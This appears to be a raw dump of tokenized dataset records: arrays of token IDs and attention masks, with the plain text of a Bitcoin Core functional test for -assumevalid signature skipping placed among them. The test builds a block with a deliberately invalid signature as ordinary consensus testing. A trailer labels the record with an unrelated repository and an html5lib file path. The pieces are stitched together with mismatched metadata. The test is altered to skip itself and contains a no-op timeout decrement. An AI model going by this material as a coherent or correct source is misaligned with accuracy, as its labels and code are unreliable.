1585, 198, 7, 1636, 12270, 356, 283, 1636, 297, 1585, 198, 7, 595, 2664, 27723, 356, 283, 24448, 297, 28932, 198, 7, 24448, 631, 1996, 356, 283, 24448, 297, 28932, 198, 7, 24448, 631, 356, 283, 24448, 297, 1585, 198, 7, 24448, 1670, 356, 283, 24448, 297, 1585, 198, 7, 595, 1292, 77, 356, 283, 24448, 297, 1585, 198, 7, 595, 1292, 706, 356, 283, 24448, 297, 1585, 198, 1159, 1224, 356, 283, 270, 371, 382, 297, 1585, 198, 1159, 1224, 68, 356, 283, 270, 371, 382, 297, 1585, 198, 1159, 1224, 4171, 356, 283, 270, 371, 382, 297, 28932, 198, 7, 5561, 10676, 2380, 356, 283, 5561, 297, 1585, 198, 7, 5561, 10676, 73, 1183, 356, 283, 5561, 297, 1585, 198, 7, 5561, 10676, 5653, 356, 283, 5561, 297, 1585, 198, 7, 5561, 26417, 356, 283, 5561, 297, 1585, 198, 7, 5561, 31671, 356, 283, 5561, 297, 1585, 198, 7, 657, 802, 1873, 356, 283, 10837, 297, 1585, 198, 7, 657, 802, 1500, 356, 283, 10837, 297, 1585, 198, 7, 657, 462, 425 ]
[ 24706, 14, 18446, 492, 428, 2131, 8571, 51, 563, 2626, 199, 504, 24706, 14, 18446, 14, 1246, 492, 428, 563, 2626, 41, 199, 646, 24706, 199, 646, 2022, 199, 199, 533, 2235, 2121, 51, 563, 2626, 8, 51, 2131, 8571, 51, 563, 2626, 304, 421, 198, 318, 636, 826, 721, 277, 12, 2637, 628, 17872, 401, 3686, 63, 2379, 3148, 29, 797, 12, 4739, 63, 2200, 63, 513, 16420, 507, 198, 4792, 11027, 826, 721, 3671, 29, 3671, 12, 3686, 63, 2379, 3148, 29, 4247, 63, 2379, 3148, 9, 507, 198, 692, 2637, 508, 298, 17872, 582, 686, 198, 277, 14, 18446, 2626, 423, 19410, 51, 563, 2626, 363, 6664, 63, 3148, 14, 873, 2561, 1585, 198, 2, 10873, 5122, 10873, 401, 28932, 198, 2, 476, 20651, 471, 5122, 10873, 401, 28932, 198, 2, 10873, 316, 5122, 10873, 401, 28932, 198, 2, 476, 22263, 5122, 10873, 401, 1585, 198, 7, 9071, 356, 283, 19916, 565, 297, 1585, 198, 2, 9071, 1159, 582, 283, 19916, 565, 297, 1585, 198, 7, 9071, 279, 356, 283, 19916, 565, 297, 1585, 198, 7, 9071, 1183, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 12270, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 794, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 1759, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 1793, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 6315, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 6491, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 9147, 356, 283, 19916, 565, 297, 1585, 198, 1159, 559, 4894, 356, 283, 551, 6792, 297, 1585, 198, 1159, 559, 25231, 356, 283, 551, 6792, 297, 1585, 198, 1159, 559, 23509, 356, 283, 551, 6792, 297, 1585, 198, 1159, 559, 23509, 1183, 356, 283, 551, 6792, 297, 1585, 198, 1159, 559, 287, 5011, 356, 283, 551, 6792, 297, 1585, 198, 1159, 559, 287, 19940, 356, 283, 551, 6792, 297, 1585, 198, 1159, 559, 287, 5011, 83, 356, 283, 551, 6792, 297, 1585, 198, 7, 290, 7265, 356, 283, 290, 7265, 297, 1585, 198, 7, 290, 7265, 19185, 356, 283, 290, 7265, 297, 1585, 198, 7, 290, 7265, 6937, 356, 283, 290, 7265, 297, 1585, 198, 7, 290, 7265, 12107, 356, 283, 290, 7265, 297, 1585, 198, 7, 22019, 6712, 356, 283, 290, 7265, 297, 1585, 198, 7, 22019, 2551, 356, 283, 290, 7265, 297, 1585, 198, 7, 10178, 356, 283, 10178, 297, 1585, 198, 7, 82, 1936, 2012, 356, 283, 1866, 297, 1585, 198, 7, 82, 15511, 356, 283, 1866, 297, 1585, 198, 7, 82, 1936, 590, 356, 283, 1866, 297, 1585, 198, 7, 1866, 356, 283, 1866, 297, 1585, 198, 7, 1866, 461, 356, 283, 1866, 297, 1585, 198, 7, 1866, 6665, 356, 283, 1866, 297, 1585, 198, 7, 12601, 356, 283, 1866, 297, 1585, 198, 7, 1866, 82, 356, 283, 1866, 297, 1585, 198, 7, 1866, 2393, 356, 283, 1866, 297, 1585, 198, 7, 17153, 356, 283, 1866, 297, 1585, 198, 7, 10417, 356, 283, 1866, 297, 1585, 198, 7, 17565, 780, 356, 283, 1866, 297, 1585, 198, 7, 6884, 356, 283, 1866, 297, 1585, 198, 7, 345, 9636, 356, 283, 1866, 297, 1585, 198, 7, 1754, 356, 283, 1754, 297, 1585, 198, 7, 3801, 356, 283, 1754, 297, 1585, 198, 7, 1754, 379, 356, 283, 1754, 297, 1585, 198, 7, 1754, 316, 356, 283, 1754, 297, 1585, 198, 7, 345, 3793, 356, 283, 345, 1428, 297, 1585, 198, 7, 345, 8981, 356, 283, 345, 1428, 297, 1585, 198, 7, 345, 11612, 356, 283, 345, 1428, 297, 1585, 198, 7, 345, 1428, 1192, 356, 283, 345, 1428, 297, 1585, 198, 7, 345, 1428, 397, 356, 283, 345, 1428, 297, 1585, 198, 7, 345, 3338, 356, 283, 345, 1428, 297, 1585, 198, 7, 345, 3338, 316, 356, 283, 345, 1428, 297, 1585, 198, 7, 21005, 356, 283, 21005, 297, 1585, 198, 7, 1754, 1895, 356, 283, 21005, 297, 1585, 198, 7, 1754, 7098, 356, 283, 21005, 297, 1585, 198, 7, 21005, 19185, 356, 283, 21005, 297, 1585, 198, 7, 21005, 631, 356, 283, 21005, 297, 1585, 198, 7, 21005, 6937, 356, 283, 21005, 297, 1585, 198, 7, 21005, 6937, 1183, 356, 283, 21005, 297, 1585, 198, 7, 21005, 1670, 356, 283, 21005, 297, 1585, 198, 7, 1754, 10874, 1417, 356, 283, 21005, 297, 1585, 198, 7, 1754, 6712, 356, 283, 21005, 297, 1585, 198, 7, 21005, 2072, 356, 283, 21005, 297, 1585, 198, 7, 21005, 12270, 356, 283, 21005, 297, 1585, 198, 7, 21005, 794, 356, 283, 21005, 297, 1585, 198, 7, 21005, 1759, 356, 283, 21005, 297, 1585, 198, 7, 21005, 1793, 356, 283, 21005, 297, 1585, 198, 7, 21005, 6315, 356, 283, 21005, 297, 1585, 198, 7, 21005, 6491, 356, 283, 21005, 297, 1585, 198, 7, 21005, 9147, 356, 283, 21005, 297, 1585, 198, 7, 1754, 1183, 356, 283, 21005, 297, 1585, 198, 7, 21005, 4171, 356, 283, 21005, 297, 1585, 198, 7, 1754, 2551, 356, 283, 21005, 297, 1585, 198, 7, 1636, 2072, 356, 283, 1636, 297, 1585, 198, 7, 1636, 1793, 356, 283, 1636, 297, 1585, 198, 7, 1636, 6315, 356, 283, 1636, 297, 1585, 198, 7, 1636, 12270, 356, 283, 1636, 297, 1585, 198, 7, 595, 2664, 27723, 356, 283, 24448, 297, 28932, 198, 7, 24448, 631, 1996, 356, 283, 24448, 297, 28932, 198, 7, 24448, 631, 356, 283, 24448, 297, 1585, 198, 7, 24448, 1670, 356, 283, 24448, 297, 1585, 198, 7, 595, 1292, 77, 356, 283, 24448, 297, 1585, 198, 7, 595, 1292, 706, 356, 283, 24448, 297, 1585, 198, 1159, 1224, 356, 283, 270, 371, 382, 297, 1585, 198, 1159, 1224, 68, 356, 283, 270, 371, 382, 297, 1585, 198, 1159, 1224, 4171, 356, 283, 270, 371, 382, 297, 28932, 198, 7, 5561, 10676, 2380, 356, 283, 5561, 297, 1585, 198, 7, 5561, 10676, 73, 1183, 356, 283, 5561, 297, 1585, 198, 7, 5561, 10676, 5653, 356, 283, 5561, 297, 1585, 198, 7, 5561, 26417, 356, 283, 5561, 297, 1585, 198, 7, 5561, 31671, 356, 283, 5561, 297, 1585, 198, 7, 657, 802, 1873, 356, 283, 10837, 297, 1585, 198, 7, 657, 802, 1500, 356, 283, 10837, 297, 1585, 198, 7, 657, 462, 425, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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2018 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test logic for skipping signature validation on old blocks. Test logic for skipping signature validation on blocks which we've assumed valid (https://github.com/bitcoin/bitcoin/pull/9484) We build a chain that includes and invalid signature for one of the transactions: 0: genesis block 1: block 1 with coinbase transaction output. 2-101: bury that block with 100 blocks so the coinbase transaction output can be spent 102: a block containing a transaction spending the coinbase transaction output. The transaction has an invalid signature. 103-2202: bury the bad block with just over two weeks' worth of blocks (2100 blocks) Start three nodes: - node0 has no -assumevalid parameter. Try to sync to block 2202. It will reject block 102 and only sync as far as block 101 - node1 has -assumevalid set to the hash of block 102. Try to sync to block 2202. node1 will sync all the way to block 2202. - node2 has -assumevalid set to the hash of block 102. Try to sync to block 200. node2 will reject block 102 since it's assumed valid, but it isn't buried by at least two weeks' work. """ import time from test_framework.blocktools import (create_block, create_coinbase) from test_framework.key import ECKey from test_framework.messages import ( CBlockHeader, COutPoint, CTransaction, CTxIn, CTxOut, msg_block, msg_headers ) from test_framework.mininode import P2PInterface from test_framework.script import (CScript, OP_TRUE) from test_framework.test_framework import BitcoinTestFramework, SkipTest from test_framework.util import assert_equal class BaseNode(P2PInterface): def send_header_for_blocks(self, new_blocks): headers_message = msg_headers() headers_message.headers = [CBlockHeader(b) for b in new_blocks] self.send_message(headers_message) class AssumeValidTest(BitcoinTestFramework): def set_test_params(self): self.setup_clean_chain = True self.num_nodes = 3 def setup_network(self): self.add_nodes(3) # Start node0. We don't start the other nodes yet since # we need to pre-mine a block with an invalid transaction # signature so we can pass in the block hash as assumevalid. self.start_node(0) def send_blocks_until_disconnected(self, p2p_conn): """Keep sending blocks to the node until we're disconnected.""" for i in range(len(self.blocks)): if not p2p_conn.is_connected: break try: p2p_conn.send_message(msg_block(self.blocks[i])) except IOError as e: assert not p2p_conn.is_connected break def assert_blockchain_height(self, node, height): """Wait until the blockchain is no longer advancing and verify it's reached the expected height.""" last_height = node.getblock(node.getbestblockhash())['height'] timeout = 10 while True: time.sleep(0.25) current_height = node.getblock(node.getbestblockhash())['height'] if current_height != last_height: last_height = current_height if timeout < 0: assert False, "blockchain too short after timeout: %d" % current_height timeout - 0.25 continue elif current_height > height: assert False, "blockchain too long: %d" % current_height elif current_height == height: break def run_test(self): if True: raise SkipTest("TO-DO") p2p0 = self.nodes[0].add_p2p_connection(BaseNode()) # Build the blockchain self.tip = int(self.nodes[0].getbestblockhash(), 16) self.block_time = self.nodes[0].getblock(self.nodes[0].getbestblockhash())['time'] + 1 self.blocks = [] # Get a pubkey for the coinbase TXO coinbase_key = ECKey() coinbase_key.generate() coinbase_pubkey = coinbase_key.get_pubkey().get_bytes() # Create the first block with a coinbase output to our key height = 1 block = create_block(self.tip, create_coinbase(height, coinbase_pubkey), self.block_time, version=0x20000000) self.blocks.append(block) self.block_time += 1 block.solve() # Save the coinbase for later self.block1 = block self.tip = block.sha256 height += 1 # Bury the block 100 deep so the coinbase output is spendable for i in range(100): block = create_block(self.tip, create_coinbase(height), self.block_time, version=0x20000000) block.solve() self.blocks.append(block) self.tip = block.sha256 self.block_time += 1 height += 1 # Create a transaction spending the coinbase output with an invalid (null) signature tx = CTransaction() tx.vin.append(CTxIn(COutPoint(self.block1.vtx[0].sha256, 0), scriptSig=b"")) tx.vout.append(CTxOut(49 * 100000000, CScript([OP_TRUE]))) tx.calc_sha256() block102 = create_block(self.tip, create_coinbase(height), self.block_time, version=0x20000000) self.block_time += 1 block102.vtx.extend([tx]) block102.hashMerkleRoot = block102.calc_merkle_root() block102.rehash() block102.solve() self.blocks.append(block102) self.tip = block102.sha256 self.block_time += 1 height += 1 # Bury the assumed valid block 2100 deep for i in range(2100): block = create_block(self.tip, create_coinbase(height), self.block_time) block.nVersion = 0x20000002 block.solve() self.blocks.append(block) self.tip = block.sha256 self.block_time += 1 height += 1 self.nodes[0].disconnect_p2ps() # Start node1 and node2 with assumevalid so they accept a block with a bad signature. self.start_node(1, extra_args=["-assumevalid=" + hex(block102.sha256)]) self.start_node(2, extra_args=["-assumevalid=" + hex(block102.sha256)]) p2p0 = self.nodes[0].add_p2p_connection(BaseNode()) p2p1 = self.nodes[1].add_p2p_connection(BaseNode()) p2p2 = self.nodes[2].add_p2p_connection(BaseNode()) # send header lists to all three nodes p2p0.send_header_for_blocks(self.blocks[0:2000]) p2p0.send_header_for_blocks(self.blocks[2000:]) p2p1.send_header_for_blocks(self.blocks[0:2000]) p2p1.send_header_for_blocks(self.blocks[2000:]) p2p2.send_header_for_blocks(self.blocks[0:200]) # Send blocks to node0. Block 102 will be rejected. self.send_blocks_until_disconnected(p2p0) self.assert_blockchain_height(self.nodes[0], 101) # Send all blocks to node1. All blocks will be accepted. for i in range(2202): p2p1.send_message(msg_block(self.blocks[i])) # Syncing 2200 blocks can take a while on slow systems. Give it plenty of time to sync. p2p1.sync_with_ping(200) assert_equal(self.nodes[1].getblock(self.nodes[1].getbestblockhash())['height'], 2202) # Send blocks to node2. Block 102 will be rejected. self.send_blocks_until_disconnected(p2p2) self.assert_blockchain_height(self.nodes[2], 101) if __name__ == '__main__': AssumeValidTest().main()
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 19, 199, 3, 1898, 334, 67, 9, 6927, 13, 12682, 710, 21158, 11672, 19782, 199, 3, 17484, 1334, 314, 10697, 2032, 4190, 12, 1937, 314, 23073, 199, 3, 570, 9685, 503, 1455, 921, 1544, 14, 16374, 14, 1308, 15, 2383, 15, 1147, 13, 1682, 14, 8624, 14, 199, 624, 774, 9661, 367, 16068, 4955, 6411, 641, 2269, 5664, 14, 199, 199, 774, 9661, 367, 16068, 4955, 6411, 641, 5664, 1314, 781, 9064, 10826, 199, 1078, 334, 2859, 921, 5031, 14, 957, 15, 22816, 15, 22816, 15, 9302, 15, 2635, 1349, 9, 199, 199, 6004, 1900, 282, 6036, 626, 6952, 436, 3866, 4955, 367, 1373, 402, 314, 199, 13754, 26, 339, 378, 26, 263, 15599, 2316, 1853, 272, 413, 26, 263, 1853, 413, 543, 21914, 1095, 6008, 1072, 14, 272, 499, 13, 4893, 26, 259, 330, 18359, 626, 1853, 543, 2948, 5664, 880, 314, 21914, 1095, 6008, 1598, 1072, 883, 506, 2249, 484, 272, 12996, 26, 420, 282, 1853, 3035, 282, 6008, 2249, 3219, 314, 21914, 1095, 1598, 6008, 1072, 14, 710, 6008, 965, 376, 3866, 4955, 14, 272, 22363, 13, 1081, 996, 26, 330, 18359, 314, 4875, 1853, 543, 2951, 1806, 2877, 29540, 7, 25235, 402, 5664, 1598, 334, 18, 1960, 5664, 9, 199, 199, 3162, 7795, 3380, 26, 339, 446, 1031, 16, 965, 949, 446, 21946, 1078, 2725, 14, 7649, 370, 7604, 370, 1853, 499, 4999, 14, 2779, 911, 489, 17100, 1853, 12996, 436, 1454, 7604, 465, 12474, 465, 1853, 14313, 272, 446, 1031, 17, 965, 446, 21946, 1078, 663, 370, 314, 2631, 402, 1853, 12996, 14, 7649, 370, 7604, 370, 489, 1853, 499, 4999, 14, 1031, 17, 911, 7604, 1006, 314, 4340, 370, 1853, 499, 4999, 14, 272, 446, 1031, 18, 965, 446, 21946, 1078, 663, 370, 314, 2631, 402, 1853, 12996, 14, 7649, 370, 7604, 370, 489, 1853, 1926, 14, 1031, 18, 911, 17100, 1853, 12996, 3967, 652, 1159, 10826, 1686, 12, 1325, 652, 489, 5712, 1133, 330, 2302, 379, 701, 737, 5210, 2877, 29540, 7, 1736, 14, 199, 624, 199, 646, 900, 199, 199, 504, 511, 63, 4857, 14, 1457, 2537, 492, 334, 981, 63, 1457, 12, 1218, 63, 30488, 9, 199, 504, 511, 63, 4857, 14, 498, 492, 15352, 1197, 199, 504, 511, 63, 4857, 14, 3431, 492, 334, 272, 445, 3142, 2567, 12, 272, 445, 2204, 3428, 12, 272, 445, 10161, 12, 272, 445, 8052, 607, 12, 272, 445, 8052, 2204, 12, 272, 1499, 63, 1457, 12, 272, 1499, 63, 2139, 199, 9, 199, 504, 511, 63, 4857, 14, 827, 15993, 492, 510, 18, 48, 4267, 199, 504, 511, 63, 4857, 14, 1579, 492, 334, 3298, 1669, 12, 9827, 63, 15064, 9, 199, 504, 511, 63, 4857, 14, 396, 63, 4857, 492, 21158, 26203, 12, 18795, 199, 504, 511, 63, 4857, 14, 1974, 492, 702, 63, 1452, 199, 199, 533, 3523, 1716, 8, 48, 18, 48, 4267, 304, 272, 347, 3222, 63, 1291, 63, 509, 63, 4166, 8, 277, 12, 892, 63, 4166, 304, 267, 2323, 63, 1188, 275, 1499, 63, 2139, 342, 267, 2323, 63, 1188, 14, 2139, 275, 359, 35, 3142, 2567, 8, 66, 9, 367, 330, 315, 892, 63, 4166, 61, 267, 291, 14, 2254, 63, 1188, 8, 2139, 63, 1188, 9, 199, 199, 533, 16269, 3490, 774, 8, 4734, 9061, 26203, 304, 272, 347, 663, 63, 396, 63, 1162, 8, 277, 304, 267, 291, 14, 2758, 63, 3118, 63, 4429, 275, 715, 267, 291, 14, 1507, 63, 2415, 275, 650, 339, 347, 3272, 63, 1200, 8, 277, 304, 267, 291, 14, 525, 63, 2415, 8, 19, 9, 267, 327, 7707, 1031, 16, 14, 2136, 2793, 1133, 1343, 314, 1163, 3380, 5966, 3967, 267, 327, 781, 1929, 370, 876, 13, 19153, 282, 1853, 543, 376, 3866, 6008, 267, 327, 4955, 880, 781, 883, 986, 315, 314, 1853, 2631, 465, 5534, 1078, 14, 267, 291, 14, 928, 63, 932, 8, 16, 9, 339, 347, 3222, 63, 4166, 63, 8111, 63, 27476, 8, 277, 12, 299, 18, 80, 63, 1631, 304, 267, 408, 18567, 10209, 5664, 370, 314, 1031, 5133, 781, 3984, 25602, 1041, 267, 367, 284, 315, 1425, 8, 552, 8, 277, 14, 4166, 2298, 288, 340, 440, 299, 18, 80, 63, 1631, 14, 374, 63, 7113, 26, 355, 2059, 288, 862, 26, 355, 299, 18, 80, 63, 1631, 14, 2254, 63, 1188, 8, 1328, 63, 1457, 8, 277, 14, 4166, 59, 73, 2459, 288, 871, 5925, 465, 325, 26, 355, 702, 440, 299, 18, 80, 63, 1631, 14, 374, 63, 7113, 355, 2059, 339, 347, 702, 63, 1457, 4429, 63, 3333, 8, 277, 12, 1031, 12, 4569, 304, 267, 408, 7536, 5133, 314, 1853, 4429, 365, 949, 8088, 19396, 15763, 436, 4911, 652, 1159, 13075, 314, 1420, 4569, 1041, 267, 2061, 63, 3333, 275, 1031, 14, 17785, 8, 932, 14, 362, 7010, 25848, 1012, 459, 3333, 418, 267, 2653, 275, 1616, 267, 1830, 715, 26, 288, 900, 14, 4532, 8, 16, 14, 821, 9, 288, 1453, 63, 3333, 275, 1031, 14, 17785, 8, 932, 14, 362, 7010, 25848, 1012, 459, 3333, 418, 288, 340, 1453, 63, 3333, 1137, 2061, 63, 3333, 26, 355, 2061, 63, 3333, 275, 1453, 63, 3333, 355, 340, 2653, 665, 378, 26, 490, 702, 756, 12, 298, 1457, 4429, 4634, 3974, 2410, 2653, 26, 450, 68, 2, 450, 1453, 63, 3333, 355, 2653, 446, 378, 14, 821, 355, 1980, 288, 916, 1453, 63, 3333, 690, 4569, 26, 355, 702, 756, 12, 298, 1457, 4429, 4634, 1846, 26, 450, 68, 2, 450, 1453, 63, 3333, 288, 916, 1453, 63, 3333, 508, 4569, 26, 355, 2059, 339, 347, 1255, 63, 396, 8, 277, 304, 267, 340, 715, 26, 288, 746, 18795, 480, 2566, 13, 1649, 531, 398, 299, 18, 80, 16, 275, 291, 14, 2415, 59, 16, 1055, 525, 63, 80, 18, 80, 63, 2105, 8, 1563, 1716, 1012, 398, 327, 6516, 314, 1853, 4429, 267, 291, 14, 8996, 275, 1109, 8, 277, 14, 2415, 59, 16, 1055, 362, 7010, 25848, 1062, 3193, 9, 267, 291, 14, 1457, 63, 521, 275, 291, 14, 2415, 59, 16, 1055, 17785, 8, 277, 14, 2415, 59, 16, 1055, 362, 7010, 25848, 1012, 459, 521, 418, 435, 413, 398, 291 ]
[ 2647, 15, 1393, 15, 1813, 2366, 19, 199, 3, 1898, 334, 67, 9, 6927, 13, 12682, 710, 21158, 11672, 19782, 199, 3, 17484, 1334, 314, 10697, 2032, 4190, 12, 1937, 314, 23073, 199, 3, 570, 9685, 503, 1455, 921, 1544, 14, 16374, 14, 1308, 15, 2383, 15, 1147, 13, 1682, 14, 8624, 14, 199, 624, 774, 9661, 367, 16068, 4955, 6411, 641, 2269, 5664, 14, 199, 199, 774, 9661, 367, 16068, 4955, 6411, 641, 5664, 1314, 781, 9064, 10826, 199, 1078, 334, 2859, 921, 5031, 14, 957, 15, 22816, 15, 22816, 15, 9302, 15, 2635, 1349, 9, 199, 199, 6004, 1900, 282, 6036, 626, 6952, 436, 3866, 4955, 367, 1373, 402, 314, 199, 13754, 26, 339, 378, 26, 263, 15599, 2316, 1853, 272, 413, 26, 263, 1853, 413, 543, 21914, 1095, 6008, 1072, 14, 272, 499, 13, 4893, 26, 259, 330, 18359, 626, 1853, 543, 2948, 5664, 880, 314, 21914, 1095, 6008, 1598, 1072, 883, 506, 2249, 484, 272, 12996, 26, 420, 282, 1853, 3035, 282, 6008, 2249, 3219, 314, 21914, 1095, 1598, 6008, 1072, 14, 710, 6008, 965, 376, 3866, 4955, 14, 272, 22363, 13, 1081, 996, 26, 330, 18359, 314, 4875, 1853, 543, 2951, 1806, 2877, 29540, 7, 25235, 402, 5664, 1598, 334, 18, 1960, 5664, 9, 199, 199, 3162, 7795, 3380, 26, 339, 446, 1031, 16, 965, 949, 446, 21946, 1078, 2725, 14, 7649, 370, 7604, 370, 1853, 499, 4999, 14, 2779, 911, 489, 17100, 1853, 12996, 436, 1454, 7604, 465, 12474, 465, 1853, 14313, 272, 446, 1031, 17, 965, 446, 21946, 1078, 663, 370, 314, 2631, 402, 1853, 12996, 14, 7649, 370, 7604, 370, 489, 1853, 499, 4999, 14, 1031, 17, 911, 7604, 1006, 314, 4340, 370, 1853, 499, 4999, 14, 272, 446, 1031, 18, 965, 446, 21946, 1078, 663, 370, 314, 2631, 402, 1853, 12996, 14, 7649, 370, 7604, 370, 489, 1853, 1926, 14, 1031, 18, 911, 17100, 1853, 12996, 3967, 652, 1159, 10826, 1686, 12, 1325, 652, 489, 5712, 1133, 330, 2302, 379, 701, 737, 5210, 2877, 29540, 7, 1736, 14, 199, 624, 199, 646, 900, 199, 199, 504, 511, 63, 4857, 14, 1457, 2537, 492, 334, 981, 63, 1457, 12, 1218, 63, 30488, 9, 199, 504, 511, 63, 4857, 14, 498, 492, 15352, 1197, 199, 504, 511, 63, 4857, 14, 3431, 492, 334, 272, 445, 3142, 2567, 12, 272, 445, 2204, 3428, 12, 272, 445, 10161, 12, 272, 445, 8052, 607, 12, 272, 445, 8052, 2204, 12, 272, 1499, 63, 1457, 12, 272, 1499, 63, 2139, 199, 9, 199, 504, 511, 63, 4857, 14, 827, 15993, 492, 510, 18, 48, 4267, 199, 504, 511, 63, 4857, 14, 1579, 492, 334, 3298, 1669, 12, 9827, 63, 15064, 9, 199, 504, 511, 63, 4857, 14, 396, 63, 4857, 492, 21158, 26203, 12, 18795, 199, 504, 511, 63, 4857, 14, 1974, 492, 702, 63, 1452, 199, 199, 533, 3523, 1716, 8, 48, 18, 48, 4267, 304, 272, 347, 3222, 63, 1291, 63, 509, 63, 4166, 8, 277, 12, 892, 63, 4166, 304, 267, 2323, 63, 1188, 275, 1499, 63, 2139, 342, 267, 2323, 63, 1188, 14, 2139, 275, 359, 35, 3142, 2567, 8, 66, 9, 367, 330, 315, 892, 63, 4166, 61, 267, 291, 14, 2254, 63, 1188, 8, 2139, 63, 1188, 9, 199, 199, 533, 16269, 3490, 774, 8, 4734, 9061, 26203, 304, 272, 347, 663, 63, 396, 63, 1162, 8, 277, 304, 267, 291, 14, 2758, 63, 3118, 63, 4429, 275, 715, 267, 291, 14, 1507, 63, 2415, 275, 650, 339, 347, 3272, 63, 1200, 8, 277, 304, 267, 291, 14, 525, 63, 2415, 8, 19, 9, 267, 327, 7707, 1031, 16, 14, 2136, 2793, 1133, 1343, 314, 1163, 3380, 5966, 3967, 267, 327, 781, 1929, 370, 876, 13, 19153, 282, 1853, 543, 376, 3866, 6008, 267, 327, 4955, 880, 781, 883, 986, 315, 314, 1853, 2631, 465, 5534, 1078, 14, 267, 291, 14, 928, 63, 932, 8, 16, 9, 339, 347, 3222, 63, 4166, 63, 8111, 63, 27476, 8, 277, 12, 299, 18, 80, 63, 1631, 304, 267, 408, 18567, 10209, 5664, 370, 314, 1031, 5133, 781, 3984, 25602, 1041, 267, 367, 284, 315, 1425, 8, 552, 8, 277, 14, 4166, 2298, 288, 340, 440, 299, 18, 80, 63, 1631, 14, 374, 63, 7113, 26, 355, 2059, 288, 862, 26, 355, 299, 18, 80, 63, 1631, 14, 2254, 63, 1188, 8, 1328, 63, 1457, 8, 277, 14, 4166, 59, 73, 2459, 288, 871, 5925, 465, 325, 26, 355, 702, 440, 299, 18, 80, 63, 1631, 14, 374, 63, 7113, 355, 2059, 339, 347, 702, 63, 1457, 4429, 63, 3333, 8, 277, 12, 1031, 12, 4569, 304, 267, 408, 7536, 5133, 314, 1853, 4429, 365, 949, 8088, 19396, 15763, 436, 4911, 652, 1159, 13075, 314, 1420, 4569, 1041, 267, 2061, 63, 3333, 275, 1031, 14, 17785, 8, 932, 14, 362, 7010, 25848, 1012, 459, 3333, 418, 267, 2653, 275, 1616, 267, 1830, 715, 26, 288, 900, 14, 4532, 8, 16, 14, 821, 9, 288, 1453, 63, 3333, 275, 1031, 14, 17785, 8, 932, 14, 362, 7010, 25848, 1012, 459, 3333, 418, 288, 340, 1453, 63, 3333, 1137, 2061, 63, 3333, 26, 355, 2061, 63, 3333, 275, 1453, 63, 3333, 355, 340, 2653, 665, 378, 26, 490, 702, 756, 12, 298, 1457, 4429, 4634, 3974, 2410, 2653, 26, 450, 68, 2, 450, 1453, 63, 3333, 355, 2653, 446, 378, 14, 821, 355, 1980, 288, 916, 1453, 63, 3333, 690, 4569, 26, 355, 702, 756, 12, 298, 1457, 4429, 4634, 1846, 26, 450, 68, 2, 450, 1453, 63, 3333, 288, 916, 1453, 63, 3333, 508, 4569, 26, 355, 2059, 339, 347, 1255, 63, 396, 8, 277, 304, 267, 340, 715, 26, 288, 746, 18795, 480, 2566, 13, 1649, 531, 398, 299, 18, 80, 16, 275, 291, 14, 2415, 59, 16, 1055, 525, 63, 80, 18, 80, 63, 2105, 8, 1563, 1716, 1012, 398, 327, 6516, 314, 1853, 4429, 267, 291, 14, 8996, 275, 1109, 8, 277, 14, 2415, 59, 16, 1055, 362, 7010, 25848, 1062, 3193, 9, 267, 291, 14, 1457, 63, 521, 275, 291, 14, 2415, 59, 16, 1055, 17785, 8, 277, 14, 2415, 59, 16, 1055, 362, 7010, 25848, 1012, 459, 521, 418, 435, 413, 398, 291, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ppmt/Crust
flask/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/optionaltags.py
1727
10500
